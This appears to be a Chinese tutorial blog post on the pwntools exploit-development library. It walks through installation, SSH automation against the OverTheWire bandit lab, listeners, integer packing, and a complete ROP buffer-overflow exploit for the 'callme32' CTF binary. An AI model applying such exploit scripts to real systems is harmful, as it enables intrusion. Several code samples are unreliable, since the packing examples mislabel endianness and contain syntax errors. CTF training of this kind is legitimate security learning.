摘要

pwntools是一个CTF框架和漏洞利用开发库,用Python开发,旨在让使用者简单快速的编写exploit。

安装

安装pwntools步骤:

  1. #更新包
  2. sudo apt-get update
  3. #安装必要的组件
  4. sudo apt-get install -y python2.7 python -pip python-dev git libssl-dev libffi-dev build-essential
  5. #升级Python的包管理器
  6. pip install --upgrade pip
  7. #安装pwntools
  8. sudo pip install --upgrade pwntools

本文旨在描述Python库的功能,以便在脚本或Python交互式控制台中使用。
Pwntools - 图1
要想使用pwntools Python库,import一下:

  1. from pwn import *

那么pwntools到底能做什么呢?嗯,几乎所有与开发相关的东西都可以跨任意的体系结构或环境进行开发。
下面是可用模块的简明列表:

  1. - pwnlib.adb Android Debug Bridge
  2. - pwnlib.asm Assembler functions
  3. - pwnlib.encoders Encoding Shellcode
  4. - pwnlib.elf ELF Executables and Libraries
  5. - pwnlib.exception Pwnlib exceptions
  6. - pwnlib.flag CTF Flag Management
  7. - pwnlib.fmtstr Format string bug exploitation tools
  8. - pwnlib.gdb Working with GDB
  9. - pwnlib.log Logging stuff
  10. - pwnlib.protocols Wire Protocols
  11. - pwnlib.rop Return Oriented Programming
  12. - pwnlib.runner Running Shellcode
  13. - pwnlib.shellcraft Shellcode generation
  14. - pwnlib.shellcraft.<architecture>
  15. - pwnlib.term Terminal handling
  16. - pwnlib.timeout Timeout handling
  17. - pwnlib.tubes Talking to the World!
  18. - pwnlib.tubes.<process|serialtube|SSH>
  19. - pwnlib.update Updating Pwntools
  20. - pwnlib.useragents A database of useragent strings
  21. - pwnlib.util.cyclic Generation of unique sequences
  22. - pwnlib.util.fiddling Utilities bit fiddling
  23. - pwnlib.util.net Networking interfaces
  24. - pwnlib.util.packing Packing and unpacking of strings

建立联系

pwn库中最常用的部分之一是,它允许您轻松地连接到Web服务并执行操作。pwntools的入门文档中包含的一个示例是连接到overthewire的 bandit CTF实验室。Overthewire是一款在线信息安全CTF通关网站,你可以在线Hacking,并为任何刚接触Linux / CLI 等的初级人员提供了手把手教学。
我们可以利用pwn库创建到主机的SSH连接,并对其运行任意命令。每个bandit级别的目标是找到进入下一级别的密码。例如:利用pwntools,您可以开发一个脚本来将SSH连接到目标主机,并运行一系列自动信息收集探针,以确定如何以最佳方式对其进行攻击。
一个不错的例子

  1. # Import the library
  2. from pwn import *
  3. # Connect to the target
  4. shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
  5. # Create an initial process
  6. sh = shell.run('sh')
  7. # Send the process arguments
  8. sh.sendline('ls -la')
  9. # Receive output from the executed command
  10. sh.recvline(timeout=5)
  11. ...
  12. ...
  13. # Obtain the first flag (password for bandit1)
  14. sh.sendline('cat readme')
  15. # Print the flag
  16. sh.recvline(timeout=5)

Pwntools - 图2

监听器

pwntools还可以通过编程方式设置监听器(类似于Netcat-LVP 1234)。这给安全人员提供了另一种选择,您喜欢用netcat,但尝试一下pwntools也是个不错的体验。我发现,在黑客攻击中,用不同的工具尝试相同的东西,往往会产生截然不同的结果。
下面是我们创建一个监听器。

  1. # Import pwntools
  2. from pwn import *
  3. # Create the listener
  4. l = listen()
  5. # Create the connection to the listener
  6. r = remote('localhost', l.lport)
  7. press enter twice here or you will be waiting
  8. # Create handler to wait for connection
  9. c = l.wait_for_connection()
  10. # Send some arbitrary data
  11. r.send('hello')
  12. # Receive some arbitrary data
  13. c.recv()

Pwntools - 图3

打包封装整数

在这个博客的前文中,我们需要将内存地址从大的Endian打包到小的Endian。但很难操作,因为Python的struct包对用户操作并不友好。
所以,pwn库来了。它可以很容易地打印您的数据的大的Endian和小的Endian。最精彩的部分?它甚至可以做64位封装。

  1. # Import pwntools
  2. from pwn import *
  3. # Create some variable with an address
  4. addr = 0xabcdef12
  5. # 32-bit: Big Endian
  6. p32(addr, endian="big"
  7. # 32-bit: Little Endian
  8. p32(addr, endian="big"
  9. # 32-bit: Default is Little Endian
  10. p32(addr)
  11. # 64-bit: Big Endian
  12. p64(addr, endian="big")
  13. # 64-bit: Little Endian
  14. p64(addr, endian="small")
  15. # 64-bit: Default is Little Endian
  16. p64(addr)

Pwntools - 图4

Exploiting ELFs

最后,如何使用pwn库执行基于ROP的缓冲区溢出漏洞?!没有pwn库做不到的,只有你想不到的!
目前,我遇到的唯一一个“自动的”困难就是自动找到一个可以用于ROP的小工具。虽然pwntool库确实拥有ROP.earch()函数,但它似乎并不像文档声明的那样工作。可能是我疏忽了什么。
下面是使用pwntools执行基于ROP的缓冲区溢出:

  1. $ cat exploit.py
  2. # Import the library
  3. from pwn import *
  4. # Create the ELF object
  5. elf = ELF("callme32")
  6. # Find the memory addresses for relevant functions and pack them
  7. callme_one = p32(elf.symbols["callme_one"])
  8. callme_two = p32(elf.symbols["callme_two"])
  9. callme_three = p32(elf.symbols["callme_three"])
  10. # Pack the address for the gadget we plan to leverage
  11. poppoppop = p32(0x080488a9)
  12. # Pack the arguments for the functions we want to call
  13. args = p32(1) + p32(2) + p32(3)
  14. # Build the payload
  15. payload = "A" * 44
  16. payload += callme_one + poppoppop + args
  17. payload += callme_two + poppoppop + args
  18. payload += callme_three + poppoppop + args
  19. # Execute our application with our buffer overflow string
  20. io = elf.process()
  21. io.sendline(payload)
  22. io.interactive()

Pwntools - 图5